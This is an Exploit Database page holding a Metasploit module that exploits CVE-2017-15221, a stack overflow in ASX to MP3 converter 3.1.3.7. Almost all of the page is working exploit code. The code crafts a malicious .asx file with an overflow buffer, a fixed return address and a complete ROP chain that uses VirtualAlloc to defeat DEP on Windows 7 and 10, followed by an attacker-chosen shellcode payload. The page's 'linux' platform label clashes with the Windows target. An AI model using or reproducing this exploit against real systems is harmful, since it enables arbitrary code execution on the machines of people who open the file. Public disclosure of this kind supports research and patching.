ASX to MP3 converter 3.1.3.7 – ‘.asx’ Local Stack Overflow (DEP Bypass) (Metasploit)

• Exploit Database
• 15 阅读

• 作者： max7253
  日期： 2019-10-10
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47482/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)",
  'Description'=> %q{
   This module exploits a stack buffer overflow in ASX to MP3 converter 3.1.3.7.
   By constructing a specially crafted ASX file and attempting to convert it to an MP3 file in the
   application, a buffer is overwritten, which allows for running shellcode.
  	 Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
  	Microsoft Windows 10 Pro, 10.0.18362 N/A Build 18362, x64-based PC
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Maxim Guslyaev', # EDB POC, Metasploit Module
  ],
  'References' =>
  [
  [ 'CVE', '2017-15221' ],
  [ 'EDB', '47468' ]
  ],
  'Platform' => 'win',
  'Targets'=>
  [
  [
  'Windows 7 Enterprise/10 Pro',
  {
  'Ret' => 0x1002D038 # RET
  }
  ]
  ],
  'Payload'=>
  {
  'BadChars' => "\x00\x09\x0a"
  },
  'Privileged' => false,
  'DisclosureDate' => "Oct 06 2019",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('FILENAME', [true, 'The malicious file name', 'music.asx'])
  ])
  end
  
  def exploit
  
  	buf = "http://"
  	buf += "A" * 17417 + [target.ret].pack("V") + "CCCC"
  
  	## Save allocation type (0x1000) in EDX
  	buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN
  	buf += [0x11111111].pack("V")
  	buf += [0x10029B8C].pack("V") # XOR EDX,EDX # RETN
  	buf += [0x1002D493].pack("V") # POP EDX # RETN
  	buf += [0xEEEEFEEF].pack("V")
  	buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN
  	buf += [0x41414141].pack("V")
  
  	## Save the address of VirtualAlloc() in ESI
  	buf += [0x1002fade].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] 
  	buf += [0x1004f060].pack("V") # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
  	buf += [0x1003239f].pack("V") # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
  	buf += [0x10040754].pack("V") # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
  	buf += [0x41414141].pack("V")
  	buf += [0x41414141].pack("V")
  
  	## Save the size of the block in EBX
  	buf += [0x1004d881].pack("V") # XOR EAX,EAX # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN
  	buf += [0x10034735].pack("V") # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN
  
  	## Save the address of (# ADD ESP,8 # RETN) in EBP
  	buf += [0x10031c6c].pack("V") # POP EBP # RETN
  	buf += [0x10012316].pack("V") # ADD ESP,8 # RETN
  	#buf += [0x1003df73].pack("V") # & PUSH ESP # RETN
  
  	## Save memory protection code (0x40) in ECX
  	buf += [0x1002ca22].pack("V") # POP ECX # RETN
  	buf += [0xFFFFFFFF].pack("V")
  	buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN
  	buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN
  	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
  	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
  	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
  	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
  	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
  	buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN
  
  	## Save ROP-NOP in EDI
  	buf += [0x1002e346].pack("V") # POP EDI # RETN
  	buf += [0x1002D038].pack("V") # RETN
  
  	## Save NOPs in EAX
  	#buf += [0x1003bca4].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] 
  	#buf += [0x90909090].pack("V") # nop
  
  	## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
  	buf += [0x1002E516].pack("V") # POP EAX # RETN
  	buf += [0xA4E2F275].pack("V")
  	buf += [0x1003efe2].pack("V") # ADD EAX,5B5D5E5F # RETN
  	buf += [0x10040ce5].pack("V") # PUSH EAX # RETN
  
  	buf += "\x90" * 4
  	buf += [0x1003df73].pack("V") # & PUSH ESP # RETN
  	buf += "\x90" * 20
  	buf += payload.encoded
  
  file_create(buf)
  	
  end
  end